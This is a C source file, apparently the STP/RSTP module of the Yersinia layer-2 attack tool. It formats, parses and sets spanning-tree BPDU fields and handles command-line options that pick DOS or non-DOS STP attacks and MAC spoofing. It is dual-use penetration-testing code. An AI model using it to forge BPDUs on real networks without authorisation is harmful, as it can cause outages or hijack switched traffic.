#ifdef LBL_ALIGN
            memcpy((void *)&aux_short,(stp_data+27),2);
            snprintf(field_values[XSTP_AGE], 5, "%04hX", aux_short);
#else
            snprintf(field_values[XSTP_AGE], 5, "%04hX", *(u_int16_t *)(stp_data+27));
#endif

            /* Max age */
#ifdef LBL_ALIGN
            memcpy((void *)&aux_short,(stp_data+29),2);
            snprintf(field_values[XSTP_MAX], 5, "%04hX", aux_short);
#else
            snprintf(field_values[XSTP_MAX], 5, "%04hX", *(u_int16_t *)(stp_data+29));
#endif

            /* Hello time */
#ifdef LBL_ALIGN
            memcpy((void *)&aux_short,(stp_data+31),2);
            snprintf(field_values[XSTP_HELLO], 5, "%04hX", aux_short);
#else
            snprintf(field_values[XSTP_HELLO], 5, "%04hX", *(u_int16_t *)(stp_data+31));
#endif

            /* Forward delay */
#ifdef LBL_ALIGN
            memcpy((void *)&aux_short,(stp_data+33),2);
            snprintf(field_values[XSTP_FWD], 5, "%04hX", aux_short);
#else
            snprintf(field_values[XSTP_FWD], 5, "%04hX", *(u_int16_t *)(stp_data+33));
#endif
      }

    return (char **)field_values;
}


char **
xstp_get_printable_store(struct term_node *node)
{
    struct stp_data *stp;
    char **field_values;

    /* smac + dmac + id + ver + type + flags + rootid + bridgeid + pathcost +
     * + portid + age + max + hello + fwd + null = 15
     */
    if ((field_values = (char **) protocol_create_printable(XSTP_TOTAL_FIELDS, xstp_fields)) == NULL) {
          write_log(0, "Error in calloc\n");
          return NULL;
    }

      if (node == NULL)
            stp = protocols[PROTO_STP].default_values;
      else
        stp = (struct stp_data *) node->protocol[PROTO_STP].tmp_data;

    /* Source MAC */
    snprintf(field_values[XSTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
          stp->mac_source[0], stp->mac_source[1],
          stp->mac_source[2], stp->mac_source[3],
          stp->mac_source[4], stp->mac_source[5]);
    /* Destination MAC */
    snprintf(field_values[XSTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
          stp->mac_dest[0], stp->mac_dest[1],
          stp->mac_dest[2], stp->mac_dest[3],
          stp->mac_dest[4], stp->mac_dest[5]);

    /* ID */
    snprintf(field_values[XSTP_ID], 5, "%04hX", stp->id);

    /* Version */
    snprintf(field_values[XSTP_VER], 3, "%02X", stp->version);

    /* BPDU Type */
    snprintf(field_values[XSTP_TYPE], 3, "%02X", stp->bpdu_type);

    /* Flags */
    snprintf(field_values[XSTP_FLAGS], 3, "%02X", stp->flags);

    /* Root ID */
    snprintf(field_values[XSTP_ROOTID], 18, "%02X%02X.%02X%02X%02X%02X%02X%02X",
          stp->root_id[0]&0xFF, stp->root_id[1]&0xFF,
          stp->root_id[2]&0xFF, stp->root_id[3]&0xFF,
          stp->root_id[4]&0xFF, stp->root_id[5]&0xFF,
          stp->root_id[6]&0xFF, stp->root_id[7]&0xFF);

    /* Root Pathcost */
    snprintf(field_values[XSTP_PATHCOST], 9, "%08X", (u_int32_t)stp->root_pc);

    /* Bridge ID */
    snprintf(field_values[XSTP_BRIDGEID], 18, "%02X%02X.%02X%02X%02X%02X%02X%02X",
          stp->bridge_id[0]&0xFF, stp->bridge_id[1]&0xFF,
          stp->bridge_id[2]&0xFF, stp->bridge_id[3]&0xFF,
          stp->bridge_id[4]&0xFF, stp->bridge_id[5]&0xFF,
          stp->bridge_id[6]&0xFF, stp->bridge_id[7]&0xFF);

    /* Port ID */
    snprintf(field_values[XSTP_PORTID], 5, "%04hX", stp->port_id);

    /* Message age */
    snprintf(field_values[XSTP_AGE], 5, "%04hX", stp->message_age);

    /* Max age */
    snprintf(field_values[XSTP_MAX], 5, "%04hX", stp->max_age);

    /* Hello time */
    snprintf(field_values[XSTP_HELLO], 5, "%04hX", stp->hello_time);

    /* Forward delay */
    snprintf(field_values[XSTP_FWD], 5, "%04hX", stp->forward_delay);

    return (char **)field_values;
}


char *
xstp_get_info(u_int8_t field, char *value)
{
    u_int8_t i;

    i = 0;
    switch (field) {
        case XSTP_VER:
            while (xstp_version[i].desc) {
                if (xstp_version[i].type == strtoul(value, NULL, 16))
                    return xstp_version[i].desc;
                i++;
            }
        break;
        case XSTP_TYPE:
            while (xstp_type[i].desc) {
                if (xstp_type[i].type == strtoul(value, NULL, 16))
                    return xstp_type[i].desc;
                i++;
            }
        break;
/*        case XSTP_FLAGS:
            flags = strtoul(bpdu->flags, NULL, 16);
            if (flags & STP_TOPOLOGY_CHANGE)
            while (bpdu_flags[i].desc) {
                if (bpdu_flags[i].type == strtoul(bpdu->flags, NULL, 16))
                    return bpdu_flags[i].desc;
                i++;
            }
*/
    }

    return "(Unknown)";
}

int8_t 
xstp_update_field(int8_t state, struct term_node *node, void *value)
{
    struct stp_data *stp_data;
    
    if (node == NULL)
       stp_data = protocols[PROTO_STP].default_values;
    else
       stp_data = node->protocol[PROTO_STP].tmp_data;

    switch(state)
    {
        /* Source MAC */
        case XSTP_SMAC:
            memcpy((void *)stp_data->mac_source, (void *)value, ETHER_ADDR_LEN);
        break;

        /* Destination MAC */
        case XSTP_DMAC:
            memcpy((void *)stp_data->mac_dest, (void *)value, ETHER_ADDR_LEN);
        break;

        /* ID */
        case XSTP_ID:
            stp_data->id = *(u_int8_t *)value;
        break;

        /* Version */
        case XSTP_VER:
            stp_data->version = *(u_int8_t *)value;
        break;

        /* BPDU Type */
        case XSTP_TYPE:
            stp_data->bpdu_type = *(u_int8_t *)value;
        break;

        /* Flags */
        case XSTP_FLAGS:            
           stp_data->flags = *(u_int8_t *)value;
        break;

        /* Root ID */
        case XSTP_ROOTID:
           memcpy((void *)stp_data->root_id, (void *)value, ETHER_ADDR_LEN + 2);
        break;

        /* Bridge ID */
        case XSTP_BRIDGEID:
            memcpy((void *)stp_data->bridge_id, (void *)value, ETHER_ADDR_LEN + 2);
        break;

        /* Root Pathcost */
        case XSTP_PATHCOST:
            stp_data->root_pc = *(u_int32_t *)value;
        break;

        /* Port ID */
        case XSTP_PORTID:
            stp_data->port_id = *(u_int16_t *)value;
        break;

        /* Message age */
        case XSTP_AGE:
            stp_data->message_age = *(u_int16_t *)value;
        break;

        /* Max age */
        case XSTP_MAX:
            stp_data->max_age = *(u_int16_t *)value;
        break;

        /* Hello time */
        case XSTP_HELLO:
            stp_data->hello_time = *(u_int16_t *)value;
        break;

        /* Forward delay */
        case XSTP_FWD:
            stp_data->forward_delay = *(u_int16_t *)value;
        break;

        default:
        break;
    }

    return 0;
}


int8_t
xstp_init_attribs(struct term_node *node)
{
    struct stp_data *stp_data;
#ifdef LBL_ALIGN
    u_int16_t temp;
    u_int8_t ether_temp[6];
#endif

    stp_data = node->protocol[PROTO_STP].tmp_data;
    
    stp_data->id        = XSTP_DFL_PROTOCOL_ID;
    stp_data->version   = XSTP_DFL_VERSION;
    stp_data->bpdu_type = XSTP_DFL_BPDU_TYPE;
    stp_data->flags     = 0;

    attack_gen_mac(stp_data->mac_source);

    stp_data->mac_source[0] &= 0x0E; 

#ifdef LBL_ALIGN
    attack_gen_mac(ether_temp);
    memcpy((void *)&stp_data->bridge_id[2], (void *)ether_temp,6);
    attack_gen_mac(ether_temp);
    memcpy((void *)&stp_data->root_id[2], (void *)ether_temp,6);
#else   
    attack_gen_mac((u_int8_t *)&(stp_data->bridge_id[2]));
    attack_gen_mac((u_int8_t *)&(stp_data->root_id[2]));
#endif


#ifdef LBL_ALIGN
    temp = libnet_get_prand(LIBNET_PRu16);
    memcpy((void *)stp_data->bridge_id, (void *)&temp,2);
    
    temp = libnet_get_prand(LIBNET_PRu16);
    memcpy((void *)stp_data->root_id, (void *)&temp,2);
#else
    *((u_int16_t *) (stp_data->bridge_id)) = libnet_get_prand(LIBNET_PRu16);
    *((u_int16_t *) (stp_data->root_id)) = libnet_get_prand(LIBNET_PRu16);
#endif

    parser_vrfy_mac("01:80:C2:00:00:00",stp_data->mac_dest);

    stp_data->root_pc       = 0;
    stp_data->port_id       = XSTP_DFL_PORT_ID;
    stp_data->message_age   = XSTP_DFL_MSG_AGE;
    stp_data->max_age       = XSTP_DFL_MAX_AGE;
    stp_data->hello_time    = XSTP_DFL_HELLO_TIME;
    stp_data->forward_delay = XSTP_DFL_FORW_DELAY;
    stp_data->rstp_data     = NULL;
    stp_data->rstp_len      = 0;
    stp_data->do_ack = 1;

    return 0;

}


int8_t
xstp_load_values(struct pcap_data *data, void *values)
{
    struct libnet_802_3_hdr *ether;
    struct stp_data *stp_data;
    u_int8_t *stp;
#ifdef LBL_ALIGN
    u_int16_t aux_short;
    u_int32_t aux_long;
#endif

    stp_data = (struct stp_data *)values;
    ether = (struct libnet_802_3_hdr *) data->packet;
    stp = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2_H);

    /* Source MAC */
    memcpy(stp_data->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN);
    /* Destination MAC */
    memcpy(stp_data->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN);

    /* ID */
#ifdef LBL_ALIGN
    memcpy((void *)&aux_short,stp,2);
    stp_data->id = ntohs(aux_short);
#else
    stp_data->id = ntohs(*(u_int16_t *)stp);
#endif

    /* Version */
    stp_data->version = *((u_int8_t *)stp+2);
    /* BPDU Type */
    stp_data->bpdu_type = *((u_int8_t *)stp+3);
    /* Flags */
    stp_data->flags = *((u_int8_t *)stp+4);
    /* Root ID */
    memcpy(stp_data->root_id, (stp+5), 8);
    /* Bridge ID */
    memcpy(stp_data->bridge_id, (stp+17), 8);

    /* Root Pathcost */
#ifdef LBL_ALIGN
    memcpy((void *)&aux_long,(stp+13),4);
    stp_data->root_pc = ntohl(aux_long);
#else
    stp_data->root_pc = ntohl(*(u_int32_t *)(stp+13));
#endif

    /* Port ID */
#ifdef LBL_ALIGN
    memcpy((void *)&aux_short,(stp+25),2);
    stp_data->port_id = ntohs(aux_short); 
#else
    stp_data->port_id = ntohs(*(u_int16_t *)(stp+25));
#endif

    /* Message age */
#ifdef LBL_ALIGN
    memcpy((void *)&stp_data->message_age,(stp+27),2);
#else
    stp_data->message_age = *(u_int16_t *)(stp+27);
#endif

    /* Max age */
#ifdef LBL_ALIGN
    memcpy((void *)&stp_data->max_age,(stp+29),2);
#else
    stp_data->max_age = *(u_int16_t *)(stp+29);
#endif

    /* Hello time */
#ifdef LBL_ALIGN
    memcpy((void *)&stp_data->hello_time,(stp+31),2);
#else
    stp_data->hello_time = *(u_int16_t *)(stp+31);
#endif

    /* Forward delay */
#ifdef LBL_ALIGN
    memcpy((void *)&stp_data->forward_delay,(stp+33),2);
#else
    stp_data->forward_delay = *(u_int16_t *)(stp+33);
#endif

    return 0;
}


/*
 * Update the prog_pack structure with the hexadecimal charactered entered
 * by the user
 */
int8_t 
xstp_update_data(int8_t state, int8_t key, int8_t position, 
        struct term_node *node)
{
    struct stp_data *stp_data;
    u_int16_t i;
    u_int8_t aux;
    char **bpdu = NULL;
    
    stp_data = node->protocol[PROTO_STP].tmp_data;

    if ((bpdu = xstp_get_printable_store(node)) == NULL) {
          write_log(0, "Error in xstp_get_printable_store\n");
          return -1;
    }

    switch(state)
    {
        /* Source MAC */
        case XSTP_SMAC:
            bpdu[XSTP_SMAC][position] = key;
            for (i=0; i < 6; i++) 
                stp_data->mac_source[i] = strtoul(&bpdu[XSTP_SMAC][3*i], (char **)NULL, 16);
        break;

        /* Destination MAC */
        case XSTP_DMAC:
            bpdu[XSTP_DMAC][position] = key;
            for (i=0; i < 6; i++) 
                stp_data->mac_dest[i] = strtoul(&bpdu[XSTP_DMAC][3*i], (char **)NULL, 16);
        break;

        /* ID */
        case XSTP_ID:
            bpdu[XSTP_ID][position] = key;
            sscanf(bpdu[XSTP_ID], "%hx", &stp_data->id);
        break;

        /* Version */
        case XSTP_VER:
            bpdu[XSTP_VER][position] = key;
            stp_data->version = strtoul(bpdu[XSTP_VER], (char **)NULL, 16);
        break;

        /* BPDU Type */
        case XSTP_TYPE:
            bpdu[XSTP_TYPE][position] = key;
            stp_data->bpdu_type = strtoul(bpdu[XSTP_TYPE], (char **)NULL, 16);
        break;

        /* Flags */
        case XSTP_FLAGS:            
            bpdu[XSTP_FLAGS][position] = key;
            stp_data->flags = strtoul(bpdu[XSTP_FLAGS], (char **)NULL, 16);
        break;

        /* Root ID */
        case XSTP_ROOTID:
            bpdu[XSTP_ROOTID][position] = key;
            for (i=0; i < 2; i++) 
            {
                 aux = bpdu[XSTP_ROOTID][2*i+2];
                 bpdu[XSTP_ROOTID][2*i+2] = ':';
                 stp_data->root_id[i] = strtoul(&bpdu[XSTP_ROOTID][2*i], (char **)NULL, 16);
                 bpdu[XSTP_ROOTID][2*i+2] = aux;
            }
            for (i=0; i < 6; i++)   
            {  
                if (i!=5)
                {
                    aux = bpdu[XSTP_ROOTID][2*i+5+2];
                    bpdu[XSTP_ROOTID][2*i+5+2] = ':';                  
                }
                stp_data->root_id[i+2] = strtoul(&bpdu[XSTP_ROOTID][2*i+5], (char **)NULL, 16);
                if (i!=5)
                   bpdu[XSTP_ROOTID][2*i+2+5] = aux;
            }
        break;

        /* Bridge ID */
        case XSTP_BRIDGEID:
            bpdu[XSTP_BRIDGEID][position] = key;
            for (i=0; i < 2; i++) 
            {
                 aux = bpdu[XSTP_BRIDGEID][2*i+2];
                 bpdu[XSTP_BRIDGEID][2*i+2] = ':';
                 stp_data->bridge_id[i] = strtoul(&bpdu[XSTP_BRIDGEID][2*i], (char **)NULL, 16);
                 bpdu[XSTP_BRIDGEID][2*i+2] = aux;
            }
            for (i=0; i < 6; i++)   
            {  
                if (i!=5)
                {
                    aux = bpdu[XSTP_BRIDGEID][2*i+5+2];
                    bpdu[XSTP_BRIDGEID][2*i+5+2] = ':';                  
                }
                stp_data->bridge_id[i+2] = strtoul(&bpdu[XSTP_BRIDGEID][2*i+5], (char **)NULL, 16);
                if (i!=5)
                   bpdu[XSTP_BRIDGEID][2*i+2+5] = aux;
            }
        break;

        /* Root Pathcost */
        case XSTP_PATHCOST:
            bpdu[XSTP_PATHCOST][position] = key;
            sscanf(bpdu[XSTP_PATHCOST], "%x", (u_int32_t *) &stp_data->root_pc);
        break;

        /* Port ID */
        case XSTP_PORTID:
            bpdu[XSTP_PORTID][position] = key;
            sscanf(bpdu[XSTP_PORTID], "%hx", &stp_data->port_id);
        break;

        /* Message age */
        case XSTP_AGE:
            bpdu[XSTP_AGE][position] = key;
            sscanf(bpdu[XSTP_AGE], "%hx", &stp_data->message_age);
        break;

        /* Max age */
        case XSTP_MAX:
            bpdu[XSTP_MAX][position] = key;
            sscanf(bpdu[XSTP_MAX], "%hx", &stp_data->max_age);
        break;

        /* Hello time */
        case XSTP_HELLO:
            bpdu[XSTP_HELLO][position] = key;
            sscanf(bpdu[XSTP_HELLO], "%hx", &stp_data->hello_time);
        break;

        /* Forward delay */
        case XSTP_FWD:
            bpdu[XSTP_FWD][position] = key;
            sscanf(bpdu[XSTP_FWD], "%hx", &stp_data->forward_delay);
        break;
    }

    i = 0;
    while (bpdu[i]) {
      free(bpdu[i]);
      i++;
    }

    free(bpdu);
    
    return 0;
}


void
xstp_help(void)
{
    write_log(2,"%s\n", bin_data);
    write_log(2,"\nUsage: %s stp [-hM] [-v version] [-i interface] [-type type]\n", PACKAGE);
    write_log(2,"       [-source hw_addr] [-dest hw_addr] [-F flags] [-root id] [-cost pathcost]\n");
    write_log(2,"       [-bridge id] [-port id] [-age secs] [-max secs] [-hello secs]\n");
    write_log(2,"       [-role role] [-state state] [-forward secs]\n");
    write_log(2,"       [-attack attack]\n\n");
    write_log(2,"           -h    This help screen.\n\n");         

    write_log(2,"Please, see the man page for a full list of options and many examples.\n");
    write_log(2,"Send your bugs & suggestions to the Yersinia developers <yersinia@wasahero.org>\n\n");  
}

/*
 * A command line parser function for R/STP protocol
 */
int8_t 
xstp_parser( struct term_node *node, int8_t argc, char **args, void *tmp_data)
{
    int8_t carac, indx, aux, tmp, ifaces;
    int opt_ind;
    struct stp_data *stp_data;
    struct term_tty *term_tty=NULL;
    struct attack *first_attack;

    static const struct option options[] =
    {
        { "help",         0, 0, 'h' },    
        { "J",            0, 0, 'L' },
        { "M",            0, 0, 'M' },
        { "mac_spoofing", 0, 0, 'M' },
        { "attack",       1, 0, 0 },
        { "X",            1, 0, 0 },
        { "bpdu_version", 1, 0, 1 },
        { "v",            1, 0, 1 },
        { "i",            1, 0, 2 },
        { "type",         1, 0, 4 },
        { "t",            1, 0, 4 },
        { "source",       1, 0, 5 },
        { "s",            1, 0, 5 },
        { "dest",         1, 0, 6 },
        { "d",            1, 0, 6 },
        { "F",            1, 0, 7 },
        { "root_id",      1, 0, 8 },
        { "root",         1, 0, 8 },
        { "root_pc",      1, 0, 9 },
        { "cost",         1, 0, 9 },
        { "bridge_id",    1, 0, 10 },
        { "bridge",       1, 0, 10 },
        { "port_id",      1, 0, 11 },
        { "port",         1, 0, 11 },
        { "role",         1, 0, 12 },
        { "state",        1, 0, 13 },
        { "message_age",  1, 0, 14 },
        { "age",          1, 0, 14 },
        { "max_age",      1, 0, 15 },
        { "max",          1, 0, 15 },
        { "hello",        1, 0, 16 },
        { "forward",      1, 0, 17 },
        { 0, 0, 0, 0 }
    };

    stp_data = node->protocol[PROTO_STP].tmp_data;

    term_tty = node->specific;
    ifaces = 0;

    while( (carac=getopt_long_only(argc,args,"hLYy",
                    options, &opt_ind)) != EOF)
    {
        switch(carac) 
        {
            case 0:
                aux=atoi(optarg);
                aux--;  /* Because our array starts with zero but user starts with 1... :) */
                indx = parser_command2index(stp_attack, aux);
                if (stp_attack[indx].s != NULL )
                    term_tty->attack = indx;
                else
                {
                    write_log(2,"\n  Ouch!! Invalid attack!! Valid %s ATTACK types are:\n", PACKAGE);
                    first_attack = stp_attack;
                    while (first_attack->s != NULL) 
                    {
                        write_log(2,"         %d: %s attack %s\n",first_attack->v+1,
                                (first_attack->type)?"DOS":"NONDOS",
                                first_attack->s);
                        ++first_attack;
                    }
                    write_log(2,"\n");
                    return -1;
                }
                break;

            case 1:
                parser_str_tolower(optarg);
                if ( !strcmp("rstp",optarg) )
                {
                    stp_data->version   = RSTP_VERSION;
                    memcpy((void *)stp_data->rstp_data, (void *)"\x00", 1);
                    stp_data->rstp_len  = 1;
                }
                else
                {
                    if ( !strcmp("stp",optarg) )
                        stp_data->version = STP_VERSION;
                    else
                    {
                        write_log(2,"Ouch!! Invalid protocol: %s!!\n", optarg);
                        return -1;
                    }
                }
                break;

            case 2:
                if ((tmp = interfaces_get(optarg)) == -1)
                {
                   write_log(2,"Unable to use interface %s!! (Maybe nonexistent?)\n\n",optarg);
                   return -1;
                }
                 /* Don't repeat interface...*/
                if (!node->used_ints[tmp])
                {
                    if ((tmp = interfaces_add(optarg)) == -1)
                    {
                       write_log(2,"Unable to use interface %s!! (Maybe nonexistent?)\n\n",optarg);
                       return -1;
                    }
                    node->used_ints[tmp] = 1;
                    ifaces++;
                }
            break;

            case 4: 
                switch (*optarg)
                {
                    case '0': stp_data->bpdu_type = BPDU_CONF_STP;
                              break;

                    case '1': stp_data->version   = RSTP_VERSION;
                              stp_data->bpdu_type = BPDU_CONF_RSTP;
                              memcpy((void *)stp_data->rstp_data, (void *)"\x00", 1);
                              stp_data->rstp_len  = 1;
                              break;

                    case '2': stp_data->bpdu_type = BPDU_TCN;
                              break;

                    default: write_log(2,"Ouch!! Valid %s BPDU types are:\n", PACKAGE);
                             write_log(2,"    0: Configuration STP\n");
                             write_log(2,"    1: Configuration RSTP\n");
                             write_log(2,"    2: Topology Change Notification\n\n");
                             return -1;
                             break;
                }
                break;

            case 5: 
                if ( parser_vrfy_mac(optarg,stp_data->mac_source) )
                {
                   write_log(2,"Source MAC address incorrect!!\n");
                   return -1;
                }
                break;

            case 6: 
                if ( parser_vrfy_mac(optarg, stp_data->mac_dest) )
                {
                   write_log(2,"Destination MAC address incorrect!!\n");
                   return -1;
                }
                break;

            case 7:
                parser_str_tolower(optarg);
                if ( (*optarg == '0') && (*(optarg+1) == 'x') && (strlen(optarg) >= 2) )
                    stp_data->flags |= strtol((char *)optarg, (char **)NULL, 16);
                else
                    stp_data->flags |= atoi(optarg);
                break;

            case 8:
                if (strlen(optarg) !=  22)
                {
                   write_log(2,"Root ID incorrect. Check sintax!\n");
                   return -1;
                }

                if ( parser_vrfy_bridge_id(optarg, stp_data->root_id))
                {
                   write_log(2,"Root ID incorrect!!\n");
                   return -1;
                }
                break;

            case 9:
                parser_str_tolower(optarg);
                if ( (*optarg == '0') && (*(optarg+1) == 'x') && (strlen(optarg) >= 2) )
                    stp_data->root_pc = strtol((char *)optarg, (char **)NULL, 16);
                else
                    stp_data->root_pc = atoi(optarg);
                break;

            case 10:
                if (strlen(optarg) !=  22)
                {
                    write_log(2,"Bridge ID incorrect. Check sintax!\n");
                    return -1;
                }

                if ( parser_vrfy_bridge_id(optarg, stp_data->bridge_id))
                {
                    write_log(2,"Bridge ID incorrect!!\n\n");
                    return -1;
                }
                break;

            case 11: 
                parser_str_tolower(optarg);
                if ( (*optarg == '0') && (*(optarg+1) == 'x') && (strlen(optarg) >= 2) )
                    stp_data->port_id = strtol((char *)optarg, (char **)NULL, 16);
                else
                    stp_data->port_id = atoi(optarg);
                break;

            case 12: /* Port role */
                parser_str_tolower(optarg);
                if (!strncmp("unknown",optarg,strlen(optarg)))
                {
                    stp_data->flags |= RSTP_PORT_ROLE_UNKNOWN;
                    break;
                }
                if (!strncmp("backup",optarg,strlen(optarg)))
                {
                    stp_data->flags |= RSTP_PORT_ROLE_BACKUP;
                    break;
                }
                if (!strncmp("root",optarg,strlen(optarg)))
                {
                    stp_data->flags |= RSTP_PORT_ROLE_ROOT;
                    break;
                }
                if (!strncmp("designated",optarg,strlen(optarg)))
                {
                    stp_data->flags |= RSTP_PORT_ROLE_DESIGNATED;
                    break;
                }
                write_log(2,"Ouch!! Valid %s RSTP port roles are:\n \
                        unknown: Unknown role\n \
                        backup: Backup role\n \
                        root: Root role\n \
                        designated: Designated role\n", PACKAGE);
                return -1;
                break;

            case 13: /* Port state */
                parser_str_tolower(optarg);
                if (!strncmp("proposal",optarg,strlen(optarg)))
                {
                    stp_data->flags |= RSTP_PROPOSAL;
                    break;
                }
                if (!strncmp("learning",optarg,strlen(optarg)))
                {
                    stp_data->flags |= RSTP_LEARNING;
                    break;
                }                  
                if (!strncmp("forwarding",optarg,strlen(optarg)))
                {
                    stp_data->flags |= RSTP_FORWARDING;
                    break;
                }                  
                if (!strncmp("agreement",optarg,strlen(optarg)))
                {
                    stp_data->flags |= RSTP_AGREEMENT;
                    break;
                }
                write_log(2,"Ouch!! Valid %s RSTP port states are:\n \
                        proposal: Proposal state\n \
                        learning: Learning state\n \
                        forwarding: Forwarding state\n \
                        agreement: Agreement state\n", PACKAGE);
                return -1;
                break;

            case 14: 
                stp_data->message_age = htons(atoi(optarg) * 256);
                break;

            case 15: 
                stp_data->max_age = htons(atoi(optarg) * 256);
                break;

            case 16: 
                stp_data->hello_time = htons(atoi(optarg) * 256);
                break;

            case 17: 
                stp_data->forward_delay = htons(atoi(optarg) * 256);
                break;

            case 'h': xstp_help();
                      return 0;
            break;
            
            case 'L': /*init_pcap = 1;*/
                      break;

            case 'M': node->mac_spoofing = 0;
                      break;
          
            case '?': write_log(2,"Unknown option!!\n");
                      return -1;
                      break;       
        }
    }

    /* select a default device if not specified */
    if (!ifaces)  {
        if (strlen(interfaces[0].ifname)) {
            write_log(2,"Warning: interface %s selected as the default one\n", &interfaces[0].ifname);
            if ((tmp = interfaces_add(interfaces[0].ifname)) == -1)
            {
               write_log(2,"Unable to use interface %s!! (Maybe nonexistent?)\n\n", interfaces[0].ifname);
               return -1;
            }
            else
                node->used_ints[tmp] = 1;
                ifaces++;
        } else {
            write_log(2,"Hmm... you don't have any valid interface. Go and get a life!\n");
            return -1;
        }
    }

   return 0;
}

/* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */

Generated by  Doxygen 1.6.0   Back to index